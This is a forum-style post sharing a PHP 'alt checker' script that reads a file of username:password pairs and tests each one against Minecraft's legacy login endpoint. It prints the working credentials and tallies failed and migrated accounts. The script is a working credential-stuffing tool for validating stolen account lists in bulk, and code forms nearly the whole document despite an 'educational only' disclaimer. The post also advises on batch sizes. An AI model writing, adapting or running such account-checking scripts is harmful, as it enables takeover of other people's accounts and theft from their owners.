Bulk Minecraft account checker

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Code to Bulk minecraft account checker. Only use 50 at a time so you don't take too much RAM :3
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<?php
    //
    // Minecraft Alt Checker by jeff142
    // Copyright jeffery schefke 2012 all rights reserved
    // educational only not to be used in illegal ways.
    // License : GNU General Public License V3
    // http://www.gnu.org/licenses/gpl.txt
    // Script is slow do no more than 10-20 at a time, unless your internet is fast.

    ##---File alts are in ---##
    $altsfile = 'alts.txt';  #
    ##

    // start counts.
    $amount = 0;
    $worked = 0;
    $failed = 0;
    $failedmig = 0;
    $failedbads = 0;

    // Timer
    function getTime()
  {
  $a = explode (' ',microtime());
  return(double) $a[0] + $a[1];
  }
    $Start = getTime();
    // Get alts form file
    $alts['string'] = file_get_contents($altsfile);

    //trim spaces
    $alts['string'] = trim($alts['string']);

    // remove line brakes
    $alts['string'] = str_replace("\n", '|', $alts['string']);

    // trim any space
    $alts['string'] = trim($alts['string']);

    // put each account in its own array spot
    $Accounts = explode("|", $alts['string']);
    echo '<h3>Working</h3>';
    // for each account check the minecraft server
    foreach($Accounts as $list => $login){

    // Count are alts
    $amount = $amount + 1;

    // brake user and password
    $namepass = explode(":", $login);

    //check website
    $data =  file_get_contents('http://login.minecraft.net/?user='.$namepass['0'].'&password='.$namepass['1'].'&version=15');

    //prosess what thay gave us
    $data = explode(":", $data);

    // is it bad?
    if($data[0] == "Bad login"){
    $vaild = false;
    //add fail count
    $failed = $failed + 1;
    $failedbad = $failedbad + 1;
    // next check
    }elseif($data['0'] == 'Too many failed logins'){
    echo 'Too many failed logins';
    exit();
    // check if email or username
    }elseif($data['0'] == 'Account migrated, use e-mail as username.'){
    $vaild = false;
    //add fail count
    $failed = $failed + 1;
    $failedmig = $failedmig + 1;
    }
    else{
    // give it back if valid
    echo $namepass['0'].':'.$namepass['1']."<br>";
    // count it becose it worked
    $worked = $worked + 1;
    }
    }

    echo '<br><h3>Out of : '.$amount.' alts. '.$worked.' Worked and '.$failed. ' failed</h3>';
    echo 'Out of the alts that failed '.$failedbad.' For bad login and '.$failedmig.' Failed for Account migrate';
    $End = getTime();

    echo "<br>This scrip took ".$timer = number_format(($End - $Start),2).' Sec ' ;
    $persc = ($timer / $amount);
    echo 'That\'s one alt every '.round($persc, 4).' Sec';
    ?>